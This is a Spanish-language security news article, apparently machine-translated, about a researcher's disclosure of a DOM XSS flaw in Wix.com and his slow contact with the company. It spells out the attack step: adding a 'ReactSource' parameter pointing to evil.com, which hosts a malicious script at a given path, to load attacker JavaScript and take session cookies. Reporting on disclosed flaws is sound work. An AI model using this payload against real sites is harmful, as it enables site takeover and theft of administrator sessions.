¿Ha oído hablar de wix(.)con?
Wix.com es una plataforma de desarrollo web basado en la nube diseñado para los usuarios para crear sitios web HTML5 y sitios móviles a través del uso de herramientas de arrastrar y soltar en línea de la compañía.
Desafortunadamente, un grave error XSS se ha descubierto en la plataforma de poner en peligro la actualidad millones de sitios web y usuarios.
Wix(.)com tiene un grave error XSS, investigador dice
Según lo informado por los investigadores de seguridad, el servicio acoge a millones de sitios web con 87 millones de usuarios registrados. Lo peor es que todos los usuarios son actualmente propensos a esta vulnerabilidad XSS. Este último puede ser desplegado por los atacantes en una forma de gusano para hacerse cargo de las cuentas de administrador. Una vez hecho esto, los atacantes obtener el control total de los sitios web comprometidos.
La vulnerabilidad XSS se dio a conocer por Matt Austin de Seguridad Contraste. Él escribió:
Wix.com tiene una grave vulnerabilidad XSS DOM que permite a un atacante el control total de cualquier sitio web alojado en Wix. Simplemente mediante la adición de un único parámetro a cualquier sitio creado en Wix, el atacante puede causar su JavaScript para cargar y ejecutar como parte del sitio web de destino.
Una simple línea de código es suficiente para desencadenar el error
El ataque puede ser activado sólo mediante la adición de un simple comando de redirección a cualquier URL de Wix(.)con. El resultado está siendo redirigido a JavaScrip malicioso. Ver un ejemplo a continuación:
- Añadir: ?ReactSource = https://evil.com a cualquier URL de cualquier sitio creado en wix.com.
- Hacer evil.com seguro aloja un archivo malicioso en /packages-bin/wixCodeInit/wixCodeInit.min.js
Estas líneas simples de códigos son suficientes para que los atacantes para asegurarse de que su JS está cargado y activado como parte de la página web específica, explica el investigador. Los atacantes también son capaces de tener acceso a las cookies y los recursos administrador de sesión, una muy mala situación de hecho. Cada vez que se cosecha una cookie de sesión, Los atacantes pueden posicionar libremente el DOM XSS en un iframe. Esto se hace para albergar contenido malicioso en cualquier sitio web administrado por un operador.
En caso de éxito, este ataque se puede aprovechar para la distribución de software malicioso, modificación página web, la minería criptomoneda, la alteración de las credenciales de cuenta, etc.
¿Qué dijo Wix?
En cuanto a la comunicación con wix(.)con, el investigador comparte la siguiente experiencia:
Octubre 10: Crea billete Soporte solicitando contacto de seguridad
Octubre 11: Llegar a @wix en twitter para encontrar un contacto de seguridad. Respondido a utilizar soporte estándar. Dio detalles de ticket creado. la página de entradas ya no funciona. https://www.wix.com/support/html5/contact.
Octubre 14: norma recibido "Estamos investigando el asunto y hará un seguimiento tan pronto como sea posible" respuesta de Wix.
Octubre 20: Responder a la compra de entradas que solicita una actualización. (ninguna respuesta)
Octubre 27: Segunda solicitud de una actualización. (ninguna respuesta)
En octubre 28, el investigador finalmente recibió un responden que declaró que el
grupo que ha intentado ponerse en contacto con (seguridad) puede no existir, o es posible que no tenga permiso para enviar mensajes al grupo.
No obstante, el director general de Wix Avishai Abrahami finalmente admitió que ciertos aspectos de la plataforma se basan en la biblioteca de código abierto WordPress. Afirma que todo lo que fue mejorado fue lanzado de nuevo a la comunidad, informa ZDNet.
Milena Dimitrova
Un escritor inspirado y administrador de contenido que ha estado con SensorsTechForum desde que comenzó el proyecto.. Un profesional con 10+ años de experiencia en la creación de contenido atractivo. Centrado en la privacidad de los usuarios y el desarrollo de malware, ella cree firmemente en un mundo donde la seguridad cibernética juega un papel central. Si el sentido común no tiene sentido, ella estará allí para tomar notas. Esas notas pueden convertirse más tarde en artículos! Siga Milena @Milenyim
Sígueme: